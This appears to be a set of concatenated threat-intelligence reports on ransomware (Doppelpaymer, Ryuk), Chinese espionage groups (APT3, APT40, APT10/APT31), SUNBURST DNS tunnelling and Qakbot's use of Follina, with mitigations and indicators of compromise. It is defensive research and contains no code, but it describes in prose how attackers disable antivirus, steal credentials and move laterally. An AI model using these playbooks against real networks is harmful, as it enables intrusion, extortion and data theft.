targets for ransomware delivery. They use built-in commands to check for active RDP sessions, run tools that query Active Directory or LDAP, and ping multiple machines. In some cases, the attackers target high-impact machines, such as machines running systems management software. Attackers also identify machines that they could use to stay persistent on the networks after deploying ransomware. Attackers use various protocols or system frameworks (WMI, WinRM, RDP, and SMB) in conjunction with PsExec to move laterally and distribute ransomware. Upon reaching a new device through lateral movement, attackers attempt to stop services that can prevent or stifle successful ransomware distribution and execution. As in other ransomware campaigns, the attackers use native commands to stop Exchange Server, SQL Server, and similar services that can lock certain files and disrupt attempts to encrypt them. They also stop antivirus software right before dropping the ransomware file itself. Attempts to bypass antivirus protection and deploy ransomware are particularly successful in cases where: - Attackers already have domain admin privileges - Tamper protection is off - Cloud-delivered protection is off - Antivirus software is not properly managed or is not in a healthy state Microsoft Defender ATP generates alerts for many activities associated with these attacks. However, in many of these cases, affected network segments and their associated alerts are not actively being monitored or responded to. Attackers also employ a few other techniques to bypass protections and run ransomware code. In some cases, we found artifacts indicating that they introduce a legitimate binary and use Alternate Data Streams to masquerade the execution of the ransomware binary as a legitimate binary. The Doppelpaymer ransomware binary used in many attacks is signed using what appears to be stolen certificates from OFFERS CLOUD LTD, which might be trusted by various security solutions. Doppelpaymer encrypts various files and displays a ransom note. In observed cases, it uses a custom extension name for encrypted files using information about the affected environment. Notably, Doppelpaymer campaigns do not fully infect compromised networks with ransomware. Only a subset of the machines have the malware binary and a slightly smaller subset have their files encrypted. The attackers maintain persistence on machines that don’t have the ransomware and appear intent to use these machines to come back to networks that pay the ransom or do not perform a full incident response and recovery. ## Ryuk: Human-operated Ransomware Initiated from Trickbot Infections Ryuk is another active human-operated ransomware campaign that wreaks havoc on organizations, from corporate entities to local governments to non-profits by disrupting businesses and demanding massive ransom. Ryuk originated as a ransomware payload distributed over email, but it has since been adopted by human-operated ransomware operators. Like Doppelpaymer, Ryuk is one of the possible eventual payloads delivered by human operators that enter networks via banking Trojan infections, in this case Trickbot. At the beginning of a Ryuk infection, an existing Trickbot implant downloads a new payload, often Cobalt Strike or PowerShell Empire, and begins to move laterally across a network, activating the Trickbot infection for ransomware deployment. The use of Cobalt Strike beacon or a PowerShell Empire payload gives operators more maneuverability and options for lateral movement on a network. Based on our investigation, in some networks, this may also provide the added benefit to the attackers of blending in with red team activities and tools. In our investigations, we found that this activation occurs on Trickbot implants of varying ages, indicating that the human operators behind Ryuk likely have some sort of list of check-ins and targets for deployment of the ransomware. In many cases, however, this activation phase comes well after the initial Trickbot infection, and the eventual deployment of a ransomware payload may happen weeks or even months after the initial infection. In many networks, Trickbot, which can be distributed directly via email or as a second-stage payload to other Trojans like Emotet, is often considered a low-priority threat, and not remediated and isolated with the same degree of scrutiny as other, more high-profile malware. This works in favor of attackers, allowing them to have long-running persistence on a wide variety of networks. Trickbot, and the Ryuk operators, also take advantage of users running as local administrators in environments and use these permissions to disable security tools that would otherwise impede their actions. Once the operators have activated on a network, they utilize their Cobalt Strike or PowerShell tools to initiate reconnaissance and lateral movement on a network. Their initial steps are usually to use built-in commands to enumerate group membership of high-value groups like domain administrators and enterprise administrators, and to identify targets for credential theft. Ryuk operators then use a variety of techniques to steal credentials, including the LaZagne credential theft tool. The attackers also save various registry hives to extract credentials from Local Accounts and the LSA Secrets portion of the registry that stores passwords of service accounts, as well as Scheduled Tasks configured to auto start with a defined account. In many cases, services like security and systems management software are configured with privileged accounts, such as domain administrator; this makes it easy for Ryuk operators to migrate from an initial desktop to server-class systems and domain controllers. In addition, in many environments successfully compromised by Ryuk, operators are able to utilize the built-in administrator account to move laterally, as these passwords are matching and not randomized. Once they have performed initial basic reconnaissance and credential theft, the attackers in some cases utilize the open-source security audit tool known as BloodHound to gather detailed information about the Active Directory environment and probable attack paths. This data and associated stolen credentials are accessed by the attacker and likely retained, even after the ransomware portion is ended. The attackers then continue to move laterally to higher value systems, inspecting and enumerating files of interest to them as they go, possibly exfiltrating this data. The attackers then elevate to domain administrator and utilize these permissions to deploy the Ryuk payload. The ransomware deployment often occurs weeks or even months after the attackers begin activity on a network. The Ryuk operators use stolen Domain Admin credentials, often from an interactive logon session on a domain controller, to distribute the Ryuk payload. They have been seen doing this via Group Policies, setting a startup item in the SYSVOL share, or, most commonly in recent attacks, via PsExec sessions emanating from the domain controller itself. ## Improving Defenses to Stop Human-operated Ransomware In human-operated ransomware campaigns, even if the ransom is paid, some attackers remain active on affected networks with persistence via PowerShell Empire and other malware on machines that may seem unrelated to ransomware activities. To fully recover from human-powered ransomware attacks, comprehensive incident response procedures and subsequent network hardening need to be performed. As we have learned from the adaptability and resourcefulness of attackers, human-operated campaigns are intent on circumventing protections and cleverly use what’s available to them to achieve their goal, motivated by profit. The techniques and methods used by the human-operated ransomware attacks discussed highlight important lessons in security: 1. **IT pros play an important role in security** Some of the most successful human-operated ransomware campaigns have been against servers that have antivirus software and other security intentionally disabled, which admins may do to improve performance. Many of the observed attacks leverage malware and tools that are already detected by antivirus. The same servers also often lack firewall protection and MFA, have weak domain credentials, and use non-randomized local admin passwords. Oftentimes these protections are not deployed because there is a fear that security controls will disrupt operations or impact performance. IT pros can help with determining the true impact of these settings and collaborate with security teams on mitigations. Attackers are preying on settings and configurations that many IT admins manage and control. Given the key role they play, IT pros should be part of security teams. 2. **Seemingly rare, isolated, or commodity malware alerts can indicate new attacks unfolding and offer the best chance to prevent larger damage** Human-operated attacks involve a fairly lengthy and complex attack chain before the ransomware payload is deployed. The earlier steps involve activities like commodity malware infections and credential theft that Microsoft Defender ATP detects and raises alerts on. If these alerts are immediately prioritized, security operations teams can better mitigate attacks and prevent the ransomware payload. Commodity malware infections like Emotet, Dridex, and Trickbot should be remediated and treated as a potential full compromise of the system, including any credentials present on it. 3. **Truly mitigating modern attacks requires addressing the infrastructure weakness that let attackers in** Human-operated ransomware groups routinely hit the same targets multiple times. This is typically due to failure to eliminate persistence mechanisms, which allow the operators to go back and deploy succeeding rounds of payloads, as targeted organizations focus on working to resolve the ransomware infections. Organizations should focus less on resolving alerts in the shortest possible time and more on investigating the attack surface that allowed the alert to happen. This requires understanding the entire attack chain, but more importantly, identifying and fixing the weaknesses in the infrastructure to keep attackers out. While Wadhrama, Doppelpaymer, Ryuk, Samas, REvil, and other human-operated attacks require a shift in mindset, the challenges they pose are hardly unique. Removing the ability of attackers to move laterally from one machine to another in a network would make the impact of human-operated ransomware attacks less impactful and make the network more resilient against all kinds of cyberattacks. ## Recommendations for Mitigating Ransomware and Other Human-operated Campaigns - Harden internet-facing assets and ensure they have the latest security updates. Use threat and vulnerability management to audit these assets regularly for vulnerabilities, misconfigurations, and suspicious activity. - Secure Remote Desktop Gateway using solutions like Azure Multi-Factor Authentication (MFA). If you don’t have an MFA gateway, enable network-level authentication (NLA). - Practice the principle of least-privilege and maintain credential hygiene. Avoid the use of domain-wide, admin-level service accounts. Enforce strong randomized, just-in-time local administrator passwords. Use tools like LAPS. - Monitor for brute-force attempts. Check excessive failed authentication attempts (Windows security event ID 4625). - Monitor for clearing of Event Logs, especially the Security Event log and PowerShell Operational logs. Microsoft Defender ATP raises the alert “Event log was cleared” and Windows generates an Event ID 1102 when this occurs. - Turn on tamper protection features to prevent attackers from stopping security services. - Determine where highly privileged accounts are logging on and exposing credentials. Monitor and investigate logon events (event ID 4624) for logon type attributes. Domain admin accounts and other accounts with high privilege should not be present on workstations. - Turn on cloud-delivered protection and automatic sample submission on Windows Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats. - Turn on attack surface reduction rules, including rules that block credential theft, ransomware activity, and suspicious use of PsExec and WMI. To address malicious activity initiated through weaponized Office documents, use rules that block advanced macro activity, executable content, process creation, and process injection initiated by Office applications. To assess the impact of these rules, deploy them in audit mode. - Turn on AMSI for Office VBA if you have Office 365. - Utilize the Windows Defender Firewall and your network firewall to prevent RPC and SMB communication among endpoints whenever possible. This limits lateral movement as well as other attack activities. ## How Microsoft Empowers Customers to Combat Human-operated Attacks The rise of adaptable, resourceful, and persistent human-operated attacks characterizes the need for advanced protection on multiple attack surfaces. Microsoft Threat Protection delivers comprehensive protection for identities, endpoints, data, apps, and infrastructure. Through built-in intelligence, automation, and integration, Microsoft Threat Protection combines and orchestrates into a single solution the capabilities of Microsoft Defender Advanced Threat Protection (ATP), Office 365 ATP, Azure ATP, and Microsoft Cloud App Security, providing customers integrated security and unparalleled visibility across attack vectors. Building an optimal organizational security posture is key to defending networks against human-operated attacks and other sophisticated threats. Microsoft Secure Score assesses and measures an organization’s security posture and provides recommended improvement actions, guidance, and control. Using a centralized dashboard in Microsoft 365 security center, organizations can compare their security posture with benchmarks and establish key performance indicators (KPIs). On endpoints, Microsoft Defender ATP provides unified protection, investigation, and response capabilities. Durable machine learning and behavior-based protections detect human-operated campaigns at multiple points in the attack chain, before the ransomware payload is deployed. These advanced detections raise alerts on the Microsoft Defender Security Center, enabling security operations teams to immediately respond to attacks using the rich capabilities in Microsoft Defender ATP. The Threat and Vulnerability Management capability uses a risk-based approach to the discovery, prioritization, and remediation of misconfigurations and vulnerabilities on endpoints. Notably, it allows security administrators and IT administrators to collaborate seamlessly to remediate issues. For example, through Microsoft Defender ATP’s integration with Microsoft Intune and System Center Configuration Manager (SCCM), security administrators can create a remediation task in Microsoft Intune with one click. Microsoft experts have been tracking multiple human-operated ransomware groups. To further help customers, we released a Microsoft Defender ATP Threat Analytics report on the campaigns and mitigations against the attack. Through Threat Analytics, customers can see indicators of Wadhrama, Doppelpaymer, Samas, and other campaign activities in their environments and get details and recommendations that are designed to help security operations teams to investigate and respond to attacks. The reports also include relevant advanced hunting queries that can further help security teams look for signs of attacks in their network. Customers subscribed to Microsoft Threat Experts, the managed threat hunting service in Microsoft Defender ATP, get targeted attack notifications on emerging ransomware campaigns that our experts find during threat hunting. The email notifications are designed to inform customers about threats that they need to prioritize, as well as critical information like timeline of events, affected machines, and indicators of compromise, which help in investigating and mitigating attacks. Additionally, with experts on demand, customers can engage directly with Microsoft security analysts to get guidance and insights to better understand, prevent, and respond to human-operated attacks and other complex threats.
# Who is Mr Dong? In our last post, we showed how, through WHOIS data, it is possible to identify Wu Yingzhuo, an APT3 operator who registered domain names for the group and advertised online offering help with Trojan development. The story finished with http[.]net, a domain name that we showed was connected to APT3 and that was registered to Yingzhuo Wu. In this post, we will show how the trail continues and allows us to identify a second APT3 member, Mr Dong. ## From httb to biglit DNS research on httb[.]net reveals a second IP address: 61.129.67[.]53. Three other interesting domains have previously resolved to it. They are vcersoft[.]com, uyre[.]net, and inc-work[.]com. Note also the inclusion of ciscocorp[.]com in the list above – it is one of the domains associated with the wyz5678[at]163.net address associated with Wu Yingzhuo. Looking at the three newly identified domains, WHOIS information for all three includes a new e-mail address, biglit[at]gmail.com. ## From biglit to tianyu The biglit e-mail address appeared in registration information for a number of other domains, including microsoft-ie[.]com. Historic WHOIS information for this domain includes the e-mail address tianyu12[at]msn.com. ## And back to biglit In addition to the microsoft-ie[.]com domain, the tianyu12 e-mail address also appeared in registration data for unixfocus[.]net. But tianyu12 was not the only e-mail address that appears in historic registration data for the domain. A previous address was biglit[at]163.net, similar to the biglit gmail address mentioned earlier. ## Dong Hao Completing the chain, the new biglit address appeared in the WHOIS information for another new domain: shuyan[.]com. And the name that appeared in the shuyan registration record was … Dong Hao. So, from the httb[.]net domain identified in our last post and registered by Wu Yingzhuo, we have followed a chain through a server in Shanghai, vcersoft[.]com, microsoft-ie[.]com, and unixfocus[.]net to find Dong Hao, a second APT3 operator involved in registering domain names. But who are Wu Yingzhuo and Dong Hao? We will reveal soon exactly where they work and from whom they receive their orders. Read our next post for more truth behind this intrusion.
# APT40: Examining a China-Nexus Espionage Actor FireEye is highlighting a cyber espionage operation targeting crucial technologies and traditional intelligence targets from a China-nexus state-sponsored actor we call APT40. The actor has conducted operations since at least 2013 in support of China’s naval modernization effort. The group has specifically targeted engineering, transportation, and the defense industry, especially where these sectors overlap with maritime technologies. More recently, we have also observed specific targeting of countries strategically important to the Belt and Road Initiative including Cambodia, Belgium, Germany, Hong Kong, Philippines, Malaysia, Norway, Saudi Arabia, Switzerland, the United States, and the United Kingdom. This China-nexus cyber espionage group was previously reported as TEMP.Periscope and TEMP.Jumper. ## Mission In December 2016, China’s People Liberation Army Navy (PLAN) seized a U.S. Navy unmanned underwater vehicle (UUV) operating in the South China Sea. The incident paralleled China’s actions in cyberspace; within a year APT40 was observed masquerading as a UUV manufacturer and targeting universities engaged in naval research. That incident was one of many carried out to acquire advanced technology to support the development of Chinese naval capabilities. We believe APT40’s emphasis on maritime issues and naval technology ultimately supports China’s ambition to establish a blue-water navy. In addition to its maritime focus, APT40 engages in broader regional targeting against traditional intelligence targets, especially organizations with operations in Southeast Asia or involved in South China Sea disputes. Most recently, this has included victims with connections to elections in Southeast Asia, which is likely driven by events affecting China’s Belt and Road Initiative. China’s “One Belt, One Road” (一带一路) or “Belt and Road Initiative” (BRI) is a $1 trillion USD endeavor to build land and maritime trade routes across Asia, Europe, the Middle East, and Africa to develop a trade network that will project China’s influence across the greater region. ## Attribution We assess with moderate confidence that APT40 is a state-sponsored Chinese cyber espionage operation. The actor’s targeting is consistent with Chinese state interests and there are multiple technical artifacts indicating the actor is based in China. Analysis of the operational times of the group’s activities indicates that it is probably centered around China Standard Time (UTC +8). In addition, multiple APT40 command and control (C2) domains were initially registered by China-based domain resellers and had Whois records with Chinese location information, suggesting a China-based infrastructure procurement process. APT40 has also used multiple Internet Protocol (IP) addresses located in China to conduct its operations. In one instance, a log file recovered from an open indexed server revealed that an IP address (112.66.188.28) located in Hainan, China had been used to administer the command and control node that was communicating with malware on victim machines. All of the logins to this C2 were from computers configured with Chinese language settings. ## Attack Lifecycle ### Initial Compromise APT40 has been observed leveraging a variety of techniques for initial compromise, including web server exploitation, phishing campaigns delivering publicly available and custom backdoors, and strategic web compromises. APT40 relies heavily on web shells for an initial foothold into an organization. Depending on placement, a web shell can provide continued access to victims' environments, re-infect victim systems, and facilitate lateral movement. The operation’s spear-phishing emails typically leverage malicious attachments, although Google Drive links have also been observed. ### Establish Foothold APT40 uses a variety of malware and tools to establish a foothold, many of which are either publicly available or used by other threat groups. In some cases, the group has used executables with code signing certificates to avoid detection. First-stage backdoors such as AIRBREAK, FRESHAIR, and BEACON are used before downloading other payloads. PHOTO, BADFLICK, and CHINA CHOPPER are among the most frequently observed backdoors used by APT40. APT40 will often target VPN and remote desktop credentials to establish a foothold in a targeted environment. This methodology proves to be ideal as once these credentials are obtained, they may not need to rely as heavily on malware to continue the mission. ### Escalate Privileges APT40 uses a mix of custom and publicly available credential harvesting tools to escalate privileges and dump password hashes. APT40 leverages custom credential theft utilities such as HOMEFRY, a password dumper/cracker used alongside the AIRBREAK and BADFLICK backdoors. Additionally, the Windows Sysinternals ProcDump utility and Windows Credential Editor (WCE) are believed to be used during intrusions as well. ### Internal Reconnaissance APT40 uses compromised credentials to log on to other connected systems and conduct reconnaissance. The group also leverages RDP, SSH, legitimate software within the victim environment, an array of native Windows capabilities, publicly available tools, as well as custom scripts to facilitate internal reconnaissance. APT40 used MURKYSHELL at a compromised victim organization to port scan IP addresses and conduct network enumeration. APT40 frequently uses native Windows commands, such as net.exe, to conduct internal reconnaissance of a victim’s environment. Web shells are heavily relied on for nearly all stages of the attack lifecycle. Internal web servers are often not configured with the same security controls as public-facing counterparts, making them more vulnerable to exploitation by APT40 and similarly sophisticated groups. ### Lateral Movement APT40 uses many methods for lateral movement throughout an environment, including custom scripts, web shells, a variety of tunnelers, as well as Remote Desktop Protocol (RDP). For each new system compromised, the group usually executes malware, performs additional reconnaissance, and steals data. APT40 also uses native Windows utilities such as at.exe (a task scheduler) and net.exe (a network resources management tool) for lateral movement. Publicly available tunneling tools are leveraged alongside distinct malware unique to the operation. Although MURKYTOP is primarily a command-line reconnaissance tool, it can also be used for lateral movement. APT40 also uses publicly available brute-forcing tools and a custom utility called DISHCLOTH to attack different protocols and services. ### Maintain Presence APT40 primarily uses backdoors, including web shells, to maintain presence within a victim environment. These tools enable continued control of key systems in the targeted network. APT40 strongly favors web shells for maintaining presence, especially publicly available tools. Tools used during the Establish Foothold phase also continue to be used in the Maintain Presence phase; this includes AIRBREAK and PHOTO. Some APT40 malware tools can evade typical network detection by leveraging legitimate websites, such as GitHub, Google, and Pastebin for initial C2 communications. Common TCP ports 80 and 443 are used to blend in with routine network traffic. ### Complete Mission Completing missions typically involves gathering and transferring information out of the target network, which may involve moving files through multiple systems before reaching the destination. APT40 has been observed consolidating files acquired from victim networks and using the archival tool rar.exe to compress and encrypt the data before exfiltration. We have also observed APT40 develop tools such as PAPERPUSH to aid in the effectiveness of their data targeting and theft. ## Outlook and Implications Despite increased public attention, APT40 continues to conduct cyber espionage operations following a regular tempo, and we anticipate their operations will continue through at least the near and medium term. Based on APT40’s broadening into election-related targets in 2017, we assess with moderate confidence that the group’s future targeting will affect additional sectors beyond maritime, driven by events such as China’s Belt and Road Initiative. In particular, as individual Belt and Road projects unfold, we are likely to see continued activity by APT40 which extends against the project’s regional opponents.
# APT Groups Moving Down the Supply Chain In August 2018, attackers broke into the network of Visma, a major managed services provider in Norway that does more than $1 billion in business each year. Using stolen Citrix credentials, the intruders made their way into the company’s network, then installed a custom remote-access tool on an Active Directory controller and began moving around the network. Eventually, the attackers harvested employee usernames and password hashes, packaged them up, and exfiltrated the data to a Dropbox account. The attack was part of a recent string of operations that some researchers say is the work of APT10, a group associated with the Chinese Ministry of State Security. APT10 has been operating for many years and has drawn the attention of law enforcement and intelligence agencies, including the Department of Justice, which indicted two Chinese citizens it says are members of APT10. That group has been blamed for intrusions at a broad range of organizations, including other managed services providers (MSP), in dozens of countries around the world. Researchers consider APT10 one of the more capable and dangerous cyberespionage groups operating at the moment, and the intrusion at Visma fits the group’s pattern of targeting MSPs as a stepping stone to going after customers or other suppliers. That strategy and targeting philosophy is one that more attack groups are adopting as primary targets such as defense contractors, technology vendors, and financial companies become more mature in their security programs and resilient to attack. “We’ve seen a few groups do this, including several Chinese groups and some Russian groups, too. I think there’s two reasons for it. One is that it’s a more efficient and effective way of conducting operations. If you target an MSP or a cloud provider, you become part of this infrastructure that companies have already invested in and trust,” said Priscilla Moriuchi, director of strategic threat development at Recorded Future, a threat intelligence firm that helped Visma investigate the Visma intrusion. “It’s an effective way of doing targeting. Groups are increasingly targeting the global supply chains and third parties because when you get in there, you have access to other targets.” Although Recorded Future attributes the Visma intrusion to APT10, other researchers say it may be the work of a separate group in China known as APT31, or Zirconium. Benjamin Koehl of Microsoft's Threat Intelligence Center said on Twitter that the C2 infrastructure bore the hallmarks of APT31. "This activity is not APT10. It is all APT31 (or ZIRCONIUM) in our terms. The C2 domains that you mention were all registered and the threat actors made subsequent changes in specific ways that we attribute (with other information) to ZIRCONIUM," he said. Moriuchi said that APT10 and APT31 are both tied to the Chinese government and they share a number of attributes, tactics, and techniques. "It’s our belief that regardless of attribution delineation between APT10 and APT31 in this case, the need for defenders to take action does not change, nor do our recommendations," she said. We believe that APT10 and APT31 are closely linked and that Chinese state-sponsored actors are associated with both groups. Today, there is little information publicly available on APT31 and none that meaningfully separates it from the behavior or motivations of APT10; APT31 tactics, techniques, malware, victims, perpetrators, and more are largely unknown. We are now actively working to unearth everything we can on APT31 and have learned that both APT10 and APT31 may share very similar techniques, malware, and are likely attributed to the same Chinese state organization. The August 2018 attack was a painful compromise, especially for a provider such as Visma, whose business depends on customer trust. But rather than quickly contain it and kick the dust under the rug, Visma officials decided to use the incident to show other organizations that could be targets exactly what happened and what to look for. This is rare for a number of reasons, mainly because of the embarrassment of the compromise and the potential effect it could have on the company’s business. But Moriuchi said there’s quite a bit of value in exposing the details of an operation like this. “Visma is taking a stance to confront the attackers and say they’re not afraid,” she said. “We really see that there’s deterrent value in this.” The operation against Visma followed a familiar pattern and used tools that researchers had previously seen, including the Trochilus RAT. The team also employed an interesting technique in which operators rename a legitimate binary and then sideload a malicious Windows DLL onto the compromised machine. That DLL then decrypts some shellcode and injects the Trochilus RAT into memory. “After almost two weeks, on August 30, 2018, APT10 attackers used their access to the network to move laterally and made their first deployment of an RC4- and Salsa20-encrypted variant of the Trochilus malware using a previously associated DLL sideloading technique. Two separate infection chains leveraging this specific DLL sideloading technique were identified on the Visma network using legitimate known good binaries that had DLL search-order path issues. This means that APT10 actors had two separate access points into the Visma network,” the Recorded Future analysis of the intrusion says. That’s a slick technique, but it’s important to note that what enabled the attackers to get to that point was stolen credentials. Sure, state-sponsored attack teams have custom malware, private C2 infrastructure, and in many cases political cover, but even with all of that, they still need a way in to a target network, and nothing suits that purpose like stolen credentials. Pilfered usernames and passwords have the advantage of giving the attackers a simple way in, and also let them avoid many network defenses. At least initially. "Groups are increasingly targeting the global supply chains and third parties because when you get in there, you have access to other targets.” One of the things the Recorded Future researchers noticed is that the attackers authenticated to the Visma network outside of the typical working hours for employees. That’s a classic red flag, and Moriuchi said it’s a good reminder that these attackers are humans, not bots. “We miss the human element when we talk about this. There are people behind these computers. They have lives and families and vacations. They make mistakes,” she said. “The hours of operation are important.” The human part of these operations also affects the targeting. APT teams generally are not independent units making their own choices and selecting targets as they see fit. They have bosses like anyone else and get orders that they’re bound to carry out. “The reality is, for nation state groups, they’re part of the military or an intelligence agency and are fulfilling the requirements of their bosses. You don’t just have one job. You’re seeking multiple targets and multiple sources of information,” Moriuchi said. Which explains why the attackers also targeted a law firm in the United States and an international clothing company, intrusions that both involved the use of stolen Citrix credentials. The law firm handles intellectual property cases, which makes it a likely target for a cyberespionage team, but the apparel company is a less-obvious target at first blush. But Moriuchi stressed that APT groups continuously learn from previous operations and adjust their tools, tactics, and targeting as they progress. With primary targets becoming more wary, moving down the supply chain becomes a more and more attractive option. “It’s an interesting problem. We’ve seen that methodology migrate from the government and defense area as the ultimate target has become more difficult to get to and vendors and suppliers are targeted more often. We see this as behavior that will increase in the coming years,” Moriuchi said. “The Ministry of State Security and APT3 have performed attacks against MSPs and vendors and they understand the vulnerability of the global supply chain.”
# SolarWinds/SUNBURST: DGA or DNS Tunneling? **By Peter Rydzynski, IronNet Threat Analysis Lead** **Dec 21, 2020** As we continue unpacking and analyzing the SolarWinds attack, which FireEye has described as a “highly evasive” Domain Generation Algorithm (DGA) incident, we first need to agree on terminology before we can move forward with identifying and analyzing the observable behaviors. While much of the reporting about the SUNBURST malware describes its use of DGA for command and control, we must consider whether “true” DGA behavior was at play. Could it really be DNS Tunneling? There is a subtle difference — but this difference could have a significant impact on how we identify behaviors and start to discern the adversary’s possible next steps. See, for example, previous analysis on how to detect DNS Tunneling. ## DGA or DNS? A question that’s worth a deeper look. The MITRE ATT&CKⓇ Framework describes DGA (technique T1568.002) as follows: “Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.” ATT&CKⓇ does not have an explicit technique assigned for DNS Tunneling; instead, it identifies this technique as a sub-technique of Command and Control Over Application Layer Protocol, described as follows: “Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.” To summarize the two descriptions above, DGA is the means for malicious code to identify command and control servers and avoid blocking or other defensive measures. On the other hand, DNS Tunneling is the means for malicious code to pass information to the command and control server and allow the server, in turn, to pass commands or other information back to the implanted malware. This distinction may seem subtle, but is critical when identifying behaviors, as well as discerning which actions the malicious actor could possibly take. Working off the two descriptions above, we can see that the main distinction between DGA and DNS Tunneling is the structure of the queries and, most notably, the intent behind the queries. The effectiveness of DGA heavily relies on the structure of the queries and the hierarchical nature of the DNS protocol. Specifically, the top-level domain under the registry suffix (“google” in “drive.google.com”) must be dynamically generated; otherwise, identification of C2 traffic and subsequent blocking becomes relatively simple. Relating this back to the SUNBURST example, if defenders were to have put in firewall block rules to stop all queries to “*.avsvmcloud[.]com”, it would effectively stop all C2 communications, thereby making this a less viable option for resilient C2. The intent behind the DNS communications observed does not appear to be identifying where a malicious C2 server is and how to reach it. Due to the ownership of the domain and control over the authoritative domain name server, the malicious code was already able to communicate with its C2 server. ## SUNBURST: a case for DNS Tunneling This second look leads us to the DNS Tunneling angle. The use case for DNS Tunneling is to enable communication between malware and C2 servers over the DNS protocol. Again, with SUNBURST, research around the structure and content of the DNS queries to “avsvmcloud[.]com” has shown that the lowest level subdomain label used for these queries is encoded data that corresponds to the active directory domain name of the infected network. This does not lend itself to the DGA use case, as the top domain under the registry suffix is not changing and makes blocking such traffic at the firewall trivial. This does, however, provide the threat actor with accurate information about which network — and possibly even which infected host — was making the query, a critical function when managing a vast number of infections across a broad set of environments. Furthermore, the responses to these queries are not indicative of the actual IP addresses for C2 servers. Rather, they indicate the command or action that the threat actor wants the malicious implants to take. This is exactly the way DNS Tunneling functions. ## IronNet’s DNS Tunneling analytic IronNet’s DNS Tunneling analytic detects the use of DNS traffic as a covert network channel. Data can be hidden in DNS messages using encoded subdomain labels and resource records, and then transferred through the normal domain name resolution process. DNS Tunneling may indicate the presence of adversary communications with implanted malware or covert transmission of sensitive information from the enterprise. There are a number of malicious tools that have leveraged this technique, including Pisloader and ALMA Communicator, as well as point-of-sale malware, such as Multigrain/NewPosThings, which have used DNS Tunneling to transfer credential and credit card information. In the case of SUNBURST, the malware utilized DNS Tunneling to relay information about the infected network. Researchers have determined that the encoded subdomain labels at a minimum transmit the domain name of the infected host (which IronNet has validated) and likely pass additional information about the infected system. The resolved IP addresses, transmitted in the returned A record response, are in turn used to provide instructions back to the malware. ## Moving forward post-SUNBURST The gravity of the SolarWinds/SUNBURST attack is yet to be determined. In the meantime, we will continue to share our analysis, including updates by my colleague Adam Hlavek on the Russian cyber attack threat landscape at large, for the greater good of collective, widespread, and fast recovery of this rampant attack. ## About IronNet Founded in 2014 by GEN (Ret.) Keith Alexander, IronNet, Inc. (NYSE: IRNT) is a global cybersecurity leader that is transforming how organizations secure their networks by delivering the first-ever Collective Defense platform operating at scale. Employing a number of former NSA cybersecurity operators with offensive and defensive cyber experience, IronNet integrates deep tradecraft knowledge into its industry-leading products to solve the most challenging cyber problems facing the world today.
# TA570 Qakbot (Qbot) Tries CVE-2022-30190 (Follina) Exploit (ms-msdt) **Published:** 2022-06-09 **Last Updated:** 2022-06-09 05:50:03 UTC **by Brad Duncan (Version: 1)** ## Introduction A threat actor designated by Proofpoint as TA570 routinely pushes Qakbot (Qbot) malware. Malicious DLL files used for Qakbot infections contain a tag indicating their specific distribution channel. Qakbot DLL samples tagged "obama" like "obama186" or "obama187" indicate a distribution channel from TA570 that uses thread-hijacked emails. On Tuesday 2022-06-07, Proofpoint and various researchers like @pr0xylife and @k3dg3 reported TA570 Qakbot distribution included Word documents using the CVE-2022-30190 (Follina) exploit (ms-msdt). This wave of malicious spam ultimately provided two separate methods of Qakbot infection. The first method is one also used by other threat actors, where a disk image contains a Windows shortcut that runs a malicious hidden DLL. The second method is a Word docx file using a CVE-2022-30190 (Follina) exploit. On Tuesday 2022-06-07, disk images from TA570 pushing obama186-tagged Qakbot used both methods. I tried running the malicious docx file in my lab environment and different online sandboxes; however, I was unable to get a successful infection. The next day on Wednesday 2022-06-08, obama187-tagged Qakbot from TA570 stopped using the docx file and relied on the Windows shortcut and hidden DLL file. In addition to other sources, the Internet Storm Center has previously posted diaries about this new attack vector. Today's diary examines the Microsoft Word docx file used by TA570 in the Tuesday 2022-06-07 wave of malspam for obama186-tagged Qakbot. ## Infection Chain Details Below is a TA570 thread-hijacked email pushing obama186 Qakbot from Tuesday 2022-06-07. The email contains an HTML attachment. The HTML file is approximately 911 kB, and it contains code to convert a base64 string to a zip archive and present the zip archive as a download. The zip archive contains a disk image. Double-clicking the disk image in Microsoft Windows will mount the file as a drive. This disk image contains a Windows shortcut, a hidden DLL file for Qakbot, and the docx file with the Follina exploit. ## Examining the .docx File Based on text found within an XML file found within the .docx archive, this exploit appears to retrieve an HTML file. If the 123.RES file is viewed in Microsoft Edge, it opens the Diagnostics Troubleshooting Wizard. The diagnostics tool asks for a passkey, which I do not have. A script near the bottom of 123.RES with base64-encoded text reveals URLs for Qakbot DLL files. ## Indicators of Compromise (IOCs) **Names of 11 attachments from TA570 emails on 2022-06-07:** - 03792072_874241.html - 20755103_822431.html - 23891652_978954.html - 55088410_803346.html - 55448947_903195.html - 58218799_257561.html - 65058266_101487.html - 68101181_048154.html - 69849517_238275.html - 71875983_866759.html - 85873035_409355.html **SHA256 hashes for the above HTML files:** - 568cd2d4b6c33d00d00da0255fd27c351ae0a1eba72a926f3f81021a3ee0ce7b - 1513769188ac6bf68f87b33ed00555126bc68976c4d4022e040547a8814435dc - 07df19bfec85932ecac6649c8d49f98bdd3236368bbf2b73d924dbbf5ce7be32 - 208bf25c7b5d16b6ba2f1cb029f55aed14e3f2df75e171d6c25f21ae99fbac92 - 6b46db5ba757066c7872e6ada49ff23016a87cc3b24e22111809c56ad66d5b17 - 8c5bea919f8c4abd0ba6d228a817ae3b7af9e6f13fafba69a1d2b6aac56dabcf - e7b7b01ae0964dc285f480feae85e157d796bf7263f7bc1018d1030647cb28ac - 2ce0921bcec42ab238140c9e811db564b0d93c11ffae4eb2e03ce5e45a885637 - b8679b5c38bca0b2de5e238f29c4ad293c6051435d54711eba2197c42a6e0c80 - 3ffb696484d28acbda12a73dde1ec3a68d75657b22af667f5104d83690a74de9 - c912048a25a7dd2f85fac3169fff008f6ebd9894b2fb6b98267b170c078b618c **Names of 11 zip archives generated by the above HTML files:** - 03792072_874241.zip - 20755103_822431.zip - 23891652_978954.zip - 55088410_803346.zip - 55448947_903195.zip - 58218799_257561.zip - 65058266_101487.zip - 68101181_048154.zip - 69849517_238275.zip - 71875983_866759.zip 